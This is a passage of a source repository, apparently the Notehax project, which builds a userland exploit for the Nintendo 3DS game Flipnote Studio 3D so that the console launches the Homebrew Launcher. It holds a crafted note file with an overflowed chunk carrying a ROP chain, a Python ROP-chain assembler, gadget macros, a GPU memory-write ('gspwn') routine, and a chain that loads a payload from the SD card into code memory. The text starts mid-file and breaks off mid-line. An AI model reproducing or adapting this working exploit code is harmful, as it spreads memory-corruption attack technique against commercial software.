| memcpy(&cmdbuf[2], &framebufferInfo, sizeof(GSPGPU_FramebufferInfo)); 62 | 63 | if((ret = svcSendSyncRequest(handle))) return ret; 64 | 65 | return cmdbuf[1]; 66 | } 67 | 68 | unsigned int _strlen(const char* str) 69 | { 70 | unsigned int length = 0; 71 | while(*(str++)) length++; 72 | return length; 73 | } 74 | 75 | FS_Path _fsMakePath(FS_PathType type, const void* path) 76 | { 77 | FS_Path p = {type, 0, path}; 78 | switch(type) 79 | { 80 | case PATH_ASCII: 81 | p.size = _strlen((const char*)path) + 1; 82 | break; 83 | case PATH_UTF16: 84 | { 85 | const u16* str = (const u16*)path; 86 | while (*str++) p.size++; 87 | p.size = (p.size + 1 ) * 2; 88 | break; 89 | } 90 | case PATH_EMPTY: 91 | p.size = 1; 92 | p.data = ""; 93 | default: 94 | break; 95 | } 96 | 97 | return p; 98 | } 99 | -------------------------------------------------------------------------------- /code/source/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILS_H 2 | #define UTILS_H 3 | 4 | #include <3ds.h> 5 | 6 | void* memset(void * ptr, int value, size_t num); 7 | void* memcpy(void *destination, const void *source, size_t num); 8 | int memcmp(void *ptr1, void *ptr2, size_t num); 9 | 10 | Result gspwn(void* dst, void* src, u32 size); 11 | Result _GSPGPU_SetBufferSwap(Handle handle, u32 screenId, GSPGPU_FramebufferInfo framebufferInfo); 12 | unsigned int _strlen(const char* str); 13 | 14 | FS_Path _fsMakePath(FS_PathType type, const void* path); 15 | #endif 16 | -------------------------------------------------------------------------------- /docs/_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-architect -------------------------------------------------------------------------------- /docs/index.md: -------------------------------------------------------------------------------- 1 | # Notehax 2 | Notehax is a 3ds userland exploit for Flipnote Studio 3D, allowing one to launch 3 | [the Homebrew Launcher](http://smealum.github.io/3ds/) through the game. 4 | 5 | ## Requirements 6 | You'll need : 7 | * a 3ds on firmware <= 11.5 8 | * a digital copy of [Flipnote Studio 3D](https://my.nintendo.com/rewards/0391c34c430369c0) on ver 1.3.1 (JPN) and ver 1.0.0 for EUR/USA (not the latest) 9 | 10 | ## Installation 11 | 1. Get the [notehax archive](https://github.com/mrnbayoh/notehax/releases/) according to your region. 12 | 2. Extract it to the root of your SD card (the /private folder must be at the root) /!\ If you delete the previous /private folder all your notes saved on the SD card will be lost /!\ 13 | 3. Download the [otherapp payload](http://smealum.github.io/3ds/) corresponding to your region/console/firmware etc. 14 | 4. Copy the otherapp payload to the /notehax folder and rename it "otherapp.bin". 15 | 5. Download the and copy to your SD card the [homebrew starter kit](http://smealum.github.io/3ds/). 16 | 6. If you're running the EUR version, switch your 3ds language to French. 17 | 18 | ## How to use notehax 19 | To access [the Homebrew Launcher](http://smealum.github.io/3ds/) just try to open the custom note that should've appeared in the SD folder: 20 | ![Image](http://i.imgur.com/pENuo1Z.png) 21 | 22 | ## Donate 23 | Every amount is appreciated and will be used for hacking purposes of course :) 24 | [![Donate](https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=KFEV25LC9KTX4) 25 | 26 | ## Thanks 27 | * [smealum](https://github.com/smealum) and everyone else who have contributed to the HBL/hax payload 28 | * ChampionLeake789 : tester 29 | -------------------------------------------------------------------------------- /note/KFH.py: -------------------------------------------------------------------------------- 1 | add_word(0xDEADC0DE) 2 | add_word(0xDEADC0DE) 3 | 4 | add_word(0x00000000) 5 | 6 | fill(0x1E, 0x0) 7 | 8 | add_utf16("NoteHax") 9 | fill(0x16-len("NoteHax")*2, 0x0) 10 | 11 | add_utf16("By") 12 | fill(0x16-len("By")*2, 0x0) 13 | 14 | add_utf16("Nba_Yoh") 15 | fill(0x16-len("Nba_Yoh")*2, 0x0) 16 | 17 | for i in range(3): 18 | add_ascii("notehax"*4) 19 | 20 | add_word(0x00000001) 21 | add_halfword(0x0002) 22 | add_halfword(0x0003) 23 | -------------------------------------------------------------------------------- /note/KSN.py: -------------------------------------------------------------------------------- 1 | include("../ropdb/DB.py") 2 | import os 3 | 4 | add_word(0x0) 5 | add_word(ROP_OFFSET_KSN + os.path.getsize("../rop/build/rop.bin")) 6 | org(0x1C + ROP_OFFSET_KSN) 7 | incbin("../rop/build/rop.bin") 8 | -------------------------------------------------------------------------------- /note/Makefile: -------------------------------------------------------------------------------- 1 | all: build/KFH.bin build/KSN.bin build/note.bin 2 | 3 | build/KFH.bin: KFH.py 4 | @python3 $(PYROP)/pyrop.py KFH.py build/KFH.bin 5 | 6 | build/KSN.bin: KFH.py 7 | @python3 $(PYROP)/pyrop.py KSN.py build/KSN.bin 8 | 9 | build/note.bin: note.py 10 | @python3 $(PYROP)/pyrop.py note.py build/note.bin 11 | 12 | clean: 13 | @rm -rf build 14 | -------------------------------------------------------------------------------- /note/note.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import os 3 | 4 | def add_chunk(name, b, file, need_crc): 5 | add_ascii(name) 6 | add_byte(b) 7 | add_word(os.path.getsize(file) + 4 if need_crc else 0) 8 | if(need_crc): 9 | add_word(binascii.crc32(open(file, 'rb').read())) 10 | incbin(file) 11 | align(4) 12 | 13 | add_chunk("KFH", 0x14, 'build/KFH.bin', True) #file header 14 | add_chunk("KTN", 0x02, '../res/preview.jpg', True) #picture for preview 15 | add_chunk("KSN", 0x01, 'build/KSN.bin', False) #overflowed chunk+ropchain 16 | -------------------------------------------------------------------------------- /pyrop/base_modules.py: -------------------------------------------------------------------------------- 1 | from builder_base import user_function, BaseBuilder 2 | from ast import * 3 | from inspect import * 4 | import traceback 5 | 6 | # def get_module(builder, module): 7 | # return type(module.__name__ + builder.__name__, (module, builder,), dict(module.__dict__)) 8 | 9 | 10 | class IncludeModule(BaseBuilder): 11 | def __init__(self): 12 | super().__init__() 13 | self.current_path = "" 14 | 15 | def set_current_path(self, base_path): 16 | self.current_path = os.path.dirname(os.path.abspath(base_path)) 17 | 18 | @user_function 19 | def include(self, incfile: str): 20 | 21 | old = self.current_path 22 | self.current_path = os.path.join(old, os.path.dirname(incfile)) 23 | 24 | path = os.path.join(self.current_path, os.path.basename(incfile)) 25 | sys.path.append(self.current_path) 26 | 27 | try: 28 | content = open(path, "rb").read() 29 | os.chdir(self.current_path) # set the current working directory, for open() etc. 30 | exec(compile(content, path, 'exec'), self.user_functions) 31 | except Exception as err: 32 | print("An exception occured while building: ", file=sys.stderr) 33 | lines = traceback.format_exc(None, err).splitlines() 34 | print(" " + lines[-1], file=sys.stderr) 35 | for l in lines[3:-1]: 36 | print(l, file=sys.stderr) 37 | exit(1) 38 | 39 | sys.path.remove(self.current_path) 40 | os.chdir(old) 41 | self.current_path = old 42 | 43 | def load(self, file): 44 | self.set_current_path(file) 45 | super().load(file) 46 | 47 | 48 | class AreaModule(BaseBuilder): 49 | def __init__(self): 50 | super().__init__() 51 | self.areas = [] 52 | 53 | @user_function 54 | def append(self, bytes_l): 55 | super().append(bytes_l) 56 | self.check_areas() 57 | 58 | @user_function 59 | def begin_area(self, size): 60 | if not self.loaded: 61 | return 62 | self.areas.append((len(self.chain), size)) 63 | 64 | @user_function 65 | def end_area(self): 66 | if not self.loaded: 67 | return 68 | self.areas.pop() 69 | 70 | def check_areas(self): 71 | for area in self.areas: 72 | if len(self.chain)-area[0] > area[1]: 73 | raise OverflowError("Area overflowed!") 74 | 75 | 76 | class LabelContext: 77 | def __init__(self, parent, l_locals): 78 | self.locals = l_locals 79 | self.parent = parent 80 | 81 | def setdefault(self, key, value): 82 | self.locals.setdefault(key, value) 83 | 84 | def __getitem__(self, item): 85 | """ 86 | Return the value associated to the label name in the nearest context that contains it. 87 | (search in context then context's parent and then parents of context's parent...) 88 | :param item: label name 89 | :return: address associated to the label 90 | """ 91 | current = self 92 | while current is not None: 93 | if item in current.locals: 94 | return current.locals[item] 95 | current = current.parent 96 | 97 | def __contains__(self, item): 98 | """ 99 | Override 'in' operator, search the label in the local dict and all the parents dicts. 100 | :param item: label to search 101 | :return: True if label is found, False otherwise 102 | """ 103 | current = self 104 | while current is not None: 105 | if item in current.locals: 106 | return True 107 | current = current.parent 108 | return False 109 | 110 | 111 | class Macro: 112 | 113 | def __init__(self): 114 | self.total_count = 0 115 | self.current_instance = 0 116 | self.instance_contexts = [] 117 | 118 | def add_instance(self, context): 119 | """ 120 | Add a new instance. 121 | :param context: instance label context 122 | :return: None 123 | """ 124 | self.instance_contexts.append(context) 125 | self.total_count += 1 126 | 127 | def reset_current_instance(self): 128 | """ 129 | Reset the current_instance counter. 130 | :return: None 131 | """ 132 | self.current_instance = 0 133 | 134 | def get_last_instance(self): 135 | """ 136 | Get the last instance added. 137 | :return: macro's last instance 138 | """ 139 | return self.instance_contexts[-1] 140 | 141 | def get_next_instance(self): 142 | """ 143 | Get the current instance, then increment the current_instance value. 144 | :return: current instance label context 145 | """ 146 | self.current_instance += 1 147 | return self.instance_contexts[self.current_instance - 1] 148 | 149 | 150 | class LabelModule(BaseBuilder): 151 | def __init__(self): 152 | super().__init__() 153 | self.context_stack = [] 154 | 155 | self.global_context = dict() 156 | self.current_context = self.global_context 157 | 158 | self.macros = dict() 159 | 160 | def load(self, file): 161 | self.parse_labels(open(file).read()) 162 | self.user_functions.update(self.global_context) 163 | super().load(file) 164 | self.user_functions.update(self.global_context) 165 | 166 | def __setitem__(self, name: str, address: int): 167 | """ 168 | Add a label to the current context. 169 | Override [] assignment. 170 | :param name: label name 171 | :param address: label address 172 | :return: None 173 | """ 174 | if self.loaded: 175 | return 176 | 177 | if address is None: 178 | address = self.mem_offset 179 | elif address.bit_length() > 32: 180 | raise ValueError("Label address should be 32 bits long!") 181 | 182 | self.current_context[name] = address 183 | self.user_functions.update(self.current_context) 184 | 185 | def __getitem__(self, name): 186 | """ 187 | Get address associated to the label name in current_context. 188 | :param name: label name 189 | :return: address associated to label 190 | """ 191 | if name not in self.current_context: 192 | raise KeyError("Trying to use an undefined label!") 193 | return self.current_context[name] 194 | 195 | def __contains__(self, item): 196 | """ 197 | Override 'in' operator. 198 | :param item: label name 199 | :return: True if current_context contains the label, False otherwise 200 | """ 201 | return item in self.current_context 202 | 203 | def get_current_context(self): 204 | return self.current_context 205 | 206 | def register_macro(self, name: str): 207 | """ 208 | Register a new macro in the macros dict. 209 | :param name: macro's name 210 | :return: None 211 | """ 212 | self.macros.setdefault(name, Macro()) 213 | 214 | def add_macro_context(self, name: str, context: dict = None): 215 | """ 216 | Add a new instance/context to a Macro object 217 | :param name: macro's name 218 | :param context: macro's label context, default = dict() 219 | :return: None 220 | """ 221 | if context is None: 222 | context = dict() 223 | self.macros[name].add_instance(dict()) 224 | 225 | def switch_context(self, context): 226 | """ 227 | Switch the current context. 228 | :param context: the new context 229 | :return: None 230 | """ 231 | self.context_stack.append(self.current_context) 232 | self.current_context = context 233 | 234 | def restore_context(self): 235 | """ 236 | Restore the previous context. 237 | :return: None 238 | """ 239 | self.current_context = self.context_stack.pop() 240 | 241 | @user_function 242 | def put_label(self, name: str, address: int = None): 243 | if type(name) is not str: 244 | raise ValueError("Label name expected, " + type(name).__name__ + " was given!") 245 | self[name] = address 246 | 247 | @user_function 248 | def get_label(self, name: str): 249 | return self[name] 250 | 251 | def parse_labels(self, source): 252 | tree = parse(source, "", 'exec') 253 | for node in walk(tree): 254 | if isinstance(node, Call): 255 | id = node.func.id if isinstance(node.func, Name) else node.func.attr 256 | if id == "put_label" and node.args and isinstance(node.args[0], Str): 257 | name = node.args[0].s 258 | if name in self.current_context: 259 | raise NameError("Label name already used!") 260 | self.current_context.setdefault(name, 0) 261 | 262 | 263 | 264 | @user_function 265 | def macro(self, func): 266 | """ 267 | The macro function decorator. 268 | :param func: macro function 269 | :return: the wrapped function 270 | """ 271 | self.register_macro(func.__name__) 272 | 273 | def wrapper(*args, **kwargs): 274 | old = func.__globals__.copy() 275 | for key in self.current_context.keys(): 276 | del func.__globals__[key] 277 | 278 | if not self.loaded: 279 | self.add_macro_context(func.__name__) 280 | self.switch_context(self.macros[func.__name__].get_last_instance()) 281 | self.parse_labels(getsource(func)) 282 | 283 | else: 284 | self.switch_context(self.macros[func.__name__].get_next_instance()) 285 | 286 | func.__globals__.update(self.current_context) 287 | func(*args, **kwargs) 288 | func.__globals__.clear() 289 | func.__globals__.update(old) 290 | 291 | self.restore_context() 292 | 293 | wrapper.original = func.original if hasattr(func, 'original') else func 294 | return wrapper 295 | 296 | 297 | class PopModule(BaseBuilder): 298 | def __init__(self): 299 | super().__init__() 300 | self.pop_macros = dict() 301 | self.current_count = 0 302 | 303 | def append_stub(self, other): 304 | self.current_count += len(other) 305 | 306 | @user_function 307 | def pop_macro(self, func): 308 | wrapped_func = func 309 | original_func = func.original if hasattr(func, 'original') else func 310 | 311 | args = signature(original_func).parameters.keys() 312 | if set(args) - {"r"+str(i) for i in range(16)}: 313 | raise Exception("Non register argument found in pop_macro!") 314 | 315 | self.current_count = 0 316 | append = self.append 317 | self.append = self.append_stub 318 | 319 | wrapped_func(**({name: 0 for name in args})) 320 | self.append = append 321 | 322 | self.pop_macros[original_func.__name__] = (func, set(args), self.current_count) 323 | return func 324 | 325 | @user_function 326 | def pop(self, **registers): 327 | reg_set = set(registers.keys()) 328 | if reg_set - {"r"+str(i) for i in range(16)}: 329 | raise Exception("Trying to pass non register argument to a pop_macro!") 330 | candidates = {name: infos for name, infos in self.pop_macros.items() if infos[1] & reg_set} 331 | pop_stack = [] 332 | while reg_set: 333 | pop_stack.append(self.find_best(candidates, reg_set)) 334 | if pop_stack[-1] is None: 335 | raise Exception("Could not find pop_macro to pop register(s): " + str(reg_set)) 336 | reg_set -= self.pop_macros[pop_stack[-1]][1] 337 | for func in pop_stack: 338 | candidates[func][0](**{reg: registers.get(reg, 0x0) for reg in candidates[func][1]}) 339 | # if the value to pop isn't specified, then pop 0x0, for example when you only have pop {r2-r6, pc} to pop 340 | # r2 then 0x0 will be popped to r3-r6 341 | print(pop_stack) 342 | 343 | @staticmethod 344 | def find_best(candidates, regs): 345 | name = None 346 | best_rate = 0 347 | total_pop = 16 348 | for func, infos in candidates.items(): 349 | nb = len(regs & infos[1]) 350 | rate = nb/infos[2] 351 | if nb == 0: 352 | continue 353 | if best_rate < rate or (best_rate == rate and len(infos[1]) <= total_pop): 354 | name = func 355 | best_rate = rate 356 | total_pop = len(infos[1]) 357 | return name 358 | -------------------------------------------------------------------------------- /pyrop/builder_base.py: -------------------------------------------------------------------------------- 1 | import traceback 2 | import os 3 | import sys 4 | 5 | modules_user_functions = dict() 6 | 7 | 8 | def user_function(func): 9 | infos = func.__qualname__.rsplit('.', 1) 10 | modules_user_functions.setdefault(infos[0], dict()) 11 | modules_user_functions[infos[0]][infos[1]] = func 12 | return func 13 | 14 | 15 | class BaseBuilder: 16 | @classmethod 17 | def create(cls, name, *modules): 18 | def init(self): 19 | super(builder, self).__init__() 20 | 21 | builder = type(name, tuple(modules) + (cls,), {"__init__": init}) 22 | return builder() 23 | 24 | def __new__(cls, *args, **kwargs): 25 | instance = object.__new__(cls) 26 | instance.chain = None 27 | instance.mem_offset = 0 28 | instance.loaded = False 29 | instance.built = False 30 | instance.user_functions = dict() 31 | return instance 32 | 33 | def __init__(self): 34 | for base in reversed(self.__class__.__mro__): 35 | base_user_func = modules_user_functions.get(base.__qualname__, dict()) 36 | self.user_functions.update({name: base.__dict__[name].__get__(self, self.__class__) 37 | for name, func in base_user_func.items()}) 38 | 39 | def set_mem_offset(self, offset): 40 | pass 41 | 42 | def append(self, other): 43 | pass 44 | 45 | def load(self, file): 46 | pass 47 | 48 | def build(self, file): 49 | pass 50 | 51 | 52 | class BasicBuilder(BaseBuilder): 53 | def __init__(self): 54 | super().__init__() 55 | self.chain = [] 56 | self.mem_offset = 0 57 | 58 | @user_function 59 | def set_mem_offset(self, offset: int): 60 | self.mem_offset = offset 61 | 62 | def append(self, bytes_l): 63 | self.mem_offset += len(bytes_l) 64 | if self.loaded: 65 | self.chain += bytes_l 66 | 67 | def add_value(self, word: int, byte_size: int = 4): 68 | if byte_size < 1: 69 | raise ValueError("Size of word should be greater than zero!") 70 | 71 | bit_size = byte_size * 8 72 | if word.bit_length() > bit_size: 73 | raise ValueError("Value does not fit in a " + str(bit_size) + "bits word!") 74 | 75 | self.append((word if self.loaded else 0).to_bytes(byte_size, 'little')) 76 | 77 | @user_function 78 | def add_word(self, word): 79 | self.add_value(word, 4) 80 | 81 | @user_function 82 | def add_halfword(self, word): 83 | self.add_value(word, 2) 84 | 85 | @user_function 86 | def add_byte(self, byte): 87 | self.add_value(byte, 1) 88 | 89 | @user_function 90 | def incbin(self, incfile: str): 91 | self.append(open(incfile, 'rb').read()) 92 | 93 | @user_function 94 | def org(self, address: int): 95 | if address < self.mem_offset: 96 | raise ValueError("Trying to ORG backwards!") 97 | 98 | self.append([0x0 for i in range(address - self.mem_offset)]) 99 | 100 | @user_function 101 | def align(self, value: int): 102 | self.append([0 for i in range((value - (self.mem_offset % value)) % value)]) 103 | 104 | @user_function 105 | def fill(self, size: int, value: int, v_byte_size: int = 1): 106 | if v_byte_size < 1: 107 | raise ValueError("Size of value should be greater than zero!") 108 | 109 | bit_size = v_byte_size * 8 110 | if value.bit_length() > bit_size: 111 | raise ValueError("Value does not fit in a " + str(bit_size) + "bits word!") 112 | 113 | self.append((value.to_bytes(v_byte_size, 'little') * ((size // v_byte_size) + 1))[:size]) 114 | 115 | @user_function 116 | def add_ascii(self, string: str): 117 | self.add_str(string) 118 | 119 | @user_function 120 | def add_utf16(self, string: str): 121 | self.add_str(string, 'utf_16_le') 122 | 123 | @user_function 124 | def add_str(self, string: str, encoding: str = 'us-ascii'): 125 | self.append([c for c in string.encode(encoding)]) 126 | 127 | def build(self, file): 128 | if self.built: 129 | raise PermissionError("You cannot build multiple times!") 130 | 131 | if not self.loaded: 132 | self.load(file) 133 | 134 | old = os.getcwd() 135 | sys.path.append(os.path.dirname(os.path.abspath(file))) # for module import that aren't "include" call 136 | try: 137 | content = open(file, "rb").read() 138 | os.chdir(os.path.dirname(os.path.abspath(file))) # set the current working directory, for open() etc. 139 | exec(compile(content, file, 'exec'), self.user_functions) 140 | except Exception as err: 141 | print("An exception occured while building: ", file=sys.stderr) 142 | lines = traceback.format_exc(None, err).splitlines() 143 | print(" " + lines[-1], file=sys.stderr) 144 | for l in lines[3:-1]: 145 | print(l, file=sys.stderr) 146 | exit(1) 147 | 148 | os.chdir(old) 149 | sys.path.remove(os.path.dirname(os.path.abspath(file))) 150 | self.built = True 151 | 152 | def load(self, file): 153 | if self.loaded: 154 | return 155 | 156 | sys.path.append(os.path.dirname(os.path.abspath(file))) # for module import that aren't "include" call 157 | old = os.getcwd() 158 | try: 159 | content = open(file, "rb").read() 160 | os.chdir(os.path.dirname(os.path.abspath(file))) # set the current working directory, for open() etc. 161 | exec(compile(content, file, 'exec'), self.user_functions) 162 | except Exception as err: 163 | print("An exception occured while loading: ", file=sys.stderr) 164 | lines = traceback.format_exc(None, err).splitlines() 165 | print(" " + lines[-1], file=sys.stderr) 166 | for l in lines[3:-1]: 167 | print(l, file=sys.stderr) 168 | exit(1) 169 | 170 | os.chdir(old) 171 | sys.path.remove(os.path.dirname(os.path.abspath(file))) 172 | self.loaded = True 173 | self.mem_offset = 0 174 | -------------------------------------------------------------------------------- /pyrop/pyrop.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from ast import * 3 | from builder_base import * 4 | from base_modules import * 5 | 6 | cmdargs = sys.argv 7 | if len(cmdargs) != 3: 8 | print("Usage: pyRop.py input_file output_file") 9 | 10 | builder = BasicBuilder.create('Test', IncludeModule, AreaModule, LabelModule, PopModule) 11 | builder.build(cmdargs[1]) 12 | 13 | os.makedirs(os.path.dirname(os.path.abspath(cmdargs[2])), exist_ok=True) 14 | output_file = open(cmdargs[2], 'wb') 15 | output_file.write(bytes(builder.chain)) 16 | output_file.close() 17 | 18 | -------------------------------------------------------------------------------- /res/preview.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrNbaYoh/notehax/8e9a5fcda1383fd9724b0477d7d9f968bed4c68d/res/preview.jpg -------------------------------------------------------------------------------- /rop/Makefile: -------------------------------------------------------------------------------- 1 | all: build/rop.bin 2 | 3 | build/rop.bin: rop.py macros.py constants.py 4 | @python3 $(PYROP)/pyrop.py rop.py build/rop.bin 5 | 6 | clean: 7 | @rm -rf build 8 | -------------------------------------------------------------------------------- /rop/constants.py: -------------------------------------------------------------------------------- 1 | APPMEMTYPE = 0x1FF80030 2 | PAYLOAD_VA = 0x301000 3 | CODEBIN_MAX_SIZE = 0x2EE000#0x2D1000 4 | LINEAR_BUFFER = 0x14000000 5 | SCANLOOP_STRIDE = 0x1000 6 | 7 | FSFILE_READ = 0x1 8 | -------------------------------------------------------------------------------- /rop/macros.py: -------------------------------------------------------------------------------- 1 | from constants import * 2 | include("../ropdb/DB.py") 3 | 4 | def garbage(n): 5 | for i in range(n): 6 | add_word(0xDEAC0DE) 7 | 8 | def sleep(time_l, time_h=0): 9 | SET_LR(NOP) 10 | pop(r0=time_l, r1=time_h) 11 | add_word(SVC_SLEEPTHREAD) 12 | 13 | @pop_macro 14 | def POP_R0(r0): 15 | add_word(POP_R0PC) 16 | add_word(r0) 17 | 18 | @pop_macro 19 | def POP_R1(r1): 20 | add_word(POP_R1PC) 21 | add_word(r1) 22 | 23 | @pop_macro 24 | def POP_R3(r3): 25 | add_word(POP_R3PC) 26 | add_word(r3) 27 | 28 | @pop_macro 29 | def POP_R4(r4): 30 | add_word(POP_R4PC) 31 | add_word(r4) 32 | 33 | @pop_macro 34 | def POP_R11(r11): 35 | add_word(POP_R11PC) 36 | add_word(r11) 37 | 38 | def SET_LR(lr): 39 | POP_R1(NOP) 40 | add_word(POP_R4LR_BX_R1) 41 | add_word(0xDEADC0DE) #r4 garbage 42 | add_word(lr) 43 | 44 | @pop_macro 45 | def POP_R4R5(r4, r5): 46 | add_word(POP_R4R5PC) 47 | add_word(r4) 48 | add_word(r5) 49 | 50 | 51 | @pop_macro 52 | def POP_R4R6(r4, r6): 53 | add_word(POP_R4R6PC) 54 | add_word(r4) 55 | add_word(r6) 56 | 57 | @pop_macro 58 | def POP_R0R1R2R3R4(r0, r1, r2, r3, r4): 59 | add_word(POP_R0R1R2R3R4PC) 60 | add_word(r0) 61 | add_word(r1) 62 | add_word(r2) 63 | add_word(r3) 64 | add_word(r4) 65 | 66 | @pop_macro 67 | def POP_R1R2R3R4R5(r1, r2, r3, r4, r5): 68 | add_word(POP_R1R2R3R4R5PC) 69 | add_word(r1) 70 | add_word(r2) 71 | add_word(r3) 72 | add_word(r4) 73 | add_word(r5) 74 | 75 | @pop_macro 76 | def POP_R1R2R3R4R5R6R7(r1, r2, r3, r4, r5, r6, r7): 77 | add_word(POP_R1R2R3R4R5R6R7PC) 78 | add_word(r1) 79 | add_word(r2) 80 | add_word(r3) 81 | add_word(r4) 82 | add_word(r5) 83 | add_word(r6) 84 | add_word(r7) 85 | 86 | @pop_macro 87 | def POP_R3R4R5R6R7R8R9(r3, r4, r5, r6, r7, r8, r9): 88 | add_word(POP_R3R4R5R6R7R8R9PC) 89 | add_word(r3) 90 | add_word(r4) 91 | add_word(r5) 92 | add_word(r6) 93 | add_word(r7) 94 | add_word(r8) 95 | add_word(r9) 96 | 97 | @pop_macro 98 | def POP_R4R5R6R7R8R9R10R11(r4, r5, r6, r7, r8, r9, r10, r11): 99 | add_word(POP_R4R5R6R7R8R9R10R11PC) 100 | add_word(r4) 101 | add_word(r5) 102 | add_word(r6) 103 | add_word(r7) 104 | add_word(r8) 105 | add_word(r9) 106 | add_word(r10) 107 | add_word(r11) 108 | 109 | @pop_macro 110 | def POP_R4R5R6R7R8R9R10R11R12(r4, r5, r6, r7, r8, r9, r10, r11, r12): 111 | add_word(POP_R4R5R6R7R8R9R10R11R12PC) 112 | add_word(r4) 113 | add_word(r5) 114 | add_word(r6) 115 | add_word(r7) 116 | add_word(r8) 117 | add_word(r9) 118 | add_word(r10) 119 | add_word(r11) 120 | add_word(r12) 121 | 122 | def nop(): 123 | add_word(NOP) 124 | 125 | def deref_r0(): 126 | add_word(LDR_R0R0_POP_R4PC) 127 | garbage(1) 128 | 129 | def deref_to_r0(addr): 130 | pop(r0=addr) 131 | deref_r0() 132 | 133 | def store_r0_to(addr): 134 | pop(r1=addr) 135 | add_word(STR_R0R1_POP_R4PC) 136 | garbage(1) 137 | 138 | def store(val, addr): 139 | pop(r0=val) 140 | store_r0_to(addr) 141 | 142 | def store_byte(val, addr): 143 | pop(r0=val, r4=addr) 144 | add_word(STRB_R0R4_POP_R4PC) 145 | garbage(1) 146 | 147 | def deref_and_store(dst, src): 148 | pop(r0=src, r1=dst) 149 | add_word(LDR_R0R0_STR_R0R1_POP_R4PC) 150 | garbage(1) 151 | 152 | def add_r0(val): 153 | pop(r4=val) 154 | add_word(ADD_R0R0R4_POP_R4PC) 155 | garbage(1) 156 | 157 | def compare_r0(val): 158 | pop(r1=val) 159 | add_word(CMP_R0R1_MOVGT_R0_1_MOVLE_R0_0_POP_R4PC) 160 | garbage(1) 161 | 162 | def memcmp(ptr1, ptr2, size): 163 | SET_LR(NOP) 164 | pop(r0=ptr1, r1=ptr2, r2=size) 165 | add_word(LMSI_MEMCMP+0x10) 166 | garbage(2) 167 | 168 | def store_eq(val, addr): 169 | pop(r0=val, r4=addr-0x2C) 170 | add_word(STREQ_R0R4_2C_POP_R4PC) 171 | garbage(1) 172 | 173 | def stack_pivot(sp,): 174 | pop(r0=sp, r1=NOP) 175 | add_word(MOV_SP_R0_MOV_R0R2_MOV_LRR3_BX_R1) 176 | 177 | def flush_dcache(addr, size): 178 | pop(r0=addr, r1=size) 179 | add_word(GSPGPU_FLUSHDATACACHE_WRAPPER+0x4) 180 | garbage(3) 181 | 182 | def mount_sdmc(sdmc_str): 183 | POP_R0(sdmc_str) 184 | add_word(FS_MOUNTSDMC + 0x4) 185 | garbage(3) 186 | 187 | def try_open_file(ctx_ptr, file_path_ptr, openflags): 188 | pop(r0=ctx_ptr, r1=file_path_ptr, r2=openflags) 189 | add_word(FS_TRYOPENFILE + 0x4) 190 | garbage(5) 191 | 192 | 193 | def try_get_size(ctx_ptr, out_size): 194 | pop(r0=ctx_ptr, r1=out_size) 195 | add_word(FS_TRYGETSIZE + 0x4) 196 | garbage(2) 197 | 198 | @macro 199 | def try_read_file(ctx_ptr, offseth, offsetl, out_bytes_read, size_ptr, dest): 200 | deref_and_store(FilePtr, ctx_ptr) 201 | deref_and_store(Size, size_ptr) 202 | 203 | pop(r0=out_bytes_read, r2=offsetl, r3=offseth) 204 | 205 | add_word(POP_R1PC) 206 | put_label("FilePtr") 207 | add_word(0xDEADC0DE) 208 | 209 | add_word(FS_TRYREADFILE + 0x4) 210 | garbage(6) 211 | add_word(POP_R4R5PC) 212 | add_word(dest) 213 | put_label("Size") 214 | add_word(0xDEADC0DE) 215 | 216 | 217 | def close_file(ctx_ptr): 218 | SET_LR(NOP) 219 | POP_R0(ctx_ptr) 220 | add_word(FS_CLOSEFILE + 0x4) 221 | -------------------------------------------------------------------------------- /rop/rop.py: -------------------------------------------------------------------------------- 1 | from constants import * 2 | include("macros.py") 3 | 4 | LOOP_DST = LINEAR_BUFFER + 0x100000 5 | FILE_DST = LOOP_DST - 0x4000 6 | 7 | set_mem_offset(ROP_DEST) 8 | 9 | deref_to_r0(APPMEMTYPE) 10 | compare_r0(0x6) 11 | store_eq(LINEAR_BUFFER + 0x07C00000 - CODEBIN_MAX_SIZE, loop_src) 12 | 13 | put_label("scan_loop") 14 | 15 | add_word(GSPGPU_GXTRYENQUEUE_WRAPPER) 16 | add_word(0x4) 17 | put_label("loop_src") 18 | add_word(LINEAR_BUFFER + 0x04000000 - CODEBIN_MAX_SIZE) 19 | add_word(LOOP_DST) 20 | add_word(SCANLOOP_STRIDE) 21 | add_word(0xFFFFFFFF) 22 | add_word(0xFFFFFFFF) 23 | add_word(0x8) 24 | add_word(0x0) 25 | 26 | add_word(0x0) 27 | 28 | garbage(4) 29 | 30 | sleep(100*1000) 31 | 32 | store(GSPGPU_GXTRYENQUEUE_WRAPPER, scan_loop) 33 | memcmp(LOOP_DST, PAYLOAD_VA, 0x20) 34 | compare_r0(0x1) 35 | store_eq(NOP, loop_pivot) 36 | 37 | deref_to_r0(loop_src) 38 | add_r0(SCANLOOP_STRIDE) #next mempage 39 | store_r0_to(loop_src) 40 | 41 | flush_dcache(LOOP_DST, SCANLOOP_STRIDE) 42 | 43 | pop(r0=scan_loop, r1=NOP) 44 | put_label("loop_pivot") 45 | add_word(MOV_SP_R0_MOV_R0R2_MOV_LRR3_BX_R1) 46 | 47 | deref_to_r0(loop_src) 48 | add_r0(0x100000000 - SCANLOOP_STRIDE) #after the scanloop is broken, magicval is at *(loop_src) - SCANLOOP_STRIDE 49 | store_r0_to(final_dst) #store the location for the final gspwn 50 | 51 | mount_sdmc(sdmc_string) 52 | try_open_file(context, file_path, FSFILE_READ) 53 | try_get_size(context, file_size) 54 | try_read_file(context, 0, 0, bytes_read, file_size, FILE_DST) 55 | close_file(context) 56 | 57 | flush_dcache(FILE_DST, 0x100000) 58 | 59 | add_word(GSPGPU_GXTRYENQUEUE_WRAPPER) 60 | add_word(0x4) 61 | add_word(FILE_DST) 62 | put_label("final_dst") 63 | add_word(0xDEADC0DE) 64 | add_word(0x2000) 65 | add_word(0xFFFFFFFF) 66 | add_word(0xFFFFFFFF) 67 | add_word(0x8) 68 | add_word(0x0) 69 | 70 | add_word(0x0) 71 | 72 | garbage(4) 73 | 74 | sleep(300*1000*1000) 75 | 76 | store_byte(0x1, THREAD1_BREAK) 77 | store(PAYLOAD_VA, 